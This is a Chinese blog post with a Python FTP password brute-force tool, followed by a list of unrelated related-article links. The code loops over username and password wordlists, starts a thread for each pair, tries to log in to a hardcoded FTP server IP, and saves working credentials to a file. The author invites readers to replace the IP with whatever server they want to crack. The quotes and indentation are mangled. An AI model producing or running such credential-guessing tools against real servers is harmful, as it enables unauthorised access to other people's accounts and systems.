python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python学习资料
Feb 08 Python
Python中的元类编程入门指引
Apr 15 Python
python+django加载静态网页模板解析
Dec 12 Python
Java与Python两大幸存者谁更胜一筹呢
Apr 12 Python
mac 安装python网络请求包requests方法
Jun 13 Python
python实现彩票系统
Jun 28 Python
python获取中文字符串长度的方法
Nov 14 Python
python 实现交换两个列表元素的位置示例
Jun 26 Python
django获取from表单multiple-select的value和id的方法
Jul 19 Python
python3的UnicodeDecodeError解决方法
Dec 20 Python
学会python自动收发邮件 代替你问候女友
May 20 Python
Pycharm安装Qt Design快捷工具的详细教程
Nov 18 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
Zerg剧情介绍
2020/03/14 星际争霸
探讨如何把session存入数据库
2013/06/07 PHP
ueditor 1.2.6 使用方法说明
2013/07/24 PHP
Yii分页用法实例详解
2014/12/04 PHP
防止动态加载JavaScript引起的内存泄漏问题
2009/10/08 Javascript
IE无法设置短域名下Cookie
2010/09/23 Javascript
js bind 函数 使用闭包保存执行上下文
2011/12/26 Javascript
动态加载iframe时get请求传递中文参数乱码解决方法
2014/05/07 Javascript
javascript js 操作数组 增删改查的简单实现
2016/06/20 Javascript
JavaScript中定义对象原型的两种使用方法
2016/12/15 Javascript
Angular的MVC和作用域
2016/12/26 Javascript
JavaScript数据结构之优先队列与循环队列实例详解
2017/10/27 Javascript
利用vue和element-ui设置表格内容分页的实例
2018/03/02 Javascript
对vue2.0中.vue文件页面跳转之.$router.push的用法详解
2018/08/24 Javascript
解决vue组件props传值对象获取不到的问题
2019/06/06 Javascript
ubuntu中配置pyqt4环境教程
2017/12/27 Python
virtualenv 指定 python 解释器的版本方法
2018/10/25 Python
python判断计算机是否有网络连接的实例
2018/12/15 Python
Django Rest framework认证组件详细用法
2019/07/25 Python
Python程序暂停的正常处理方法
2019/11/07 Python
Python Django中间件,中间件函数,全局异常处理操作示例
2019/11/08 Python
解决matplotlib.pyplot在Jupyter notebook中不显示图像问题
2020/04/22 Python
纯CSS3绘制打火机动画火焰效果
2016/07/18 HTML / CSS
荷兰街头时尚之家:Funkie House
2019/03/18 全球购物
Crocs欧洲官网:Crocs Europe
2020/01/14 全球购物
Linux如何压缩可执行文件
2014/03/27 面试题
解释下列WebService名词:WSDL、SOAP、UDDI
2012/06/22 面试题
小学教师听课制度
2014/02/01 职场文书
我的祖国演讲稿
2014/05/04 职场文书
企业员工集体活动方案
2014/08/17 职场文书
秋季运动会广播稿(30篇)
2014/09/13 职场文书
党的群众路线教育实践活动整改落实情况报告
2014/10/28 职场文书
2014年小学少先队工作总结
2014/12/18 职场文书
员工开除通知书
2015/04/25 职场文书
拾金不昧表扬稿大全
2015/05/05 职场文书
MySQL中InnoDB存储引擎的锁的基本使用教程
2021/05/26 MySQL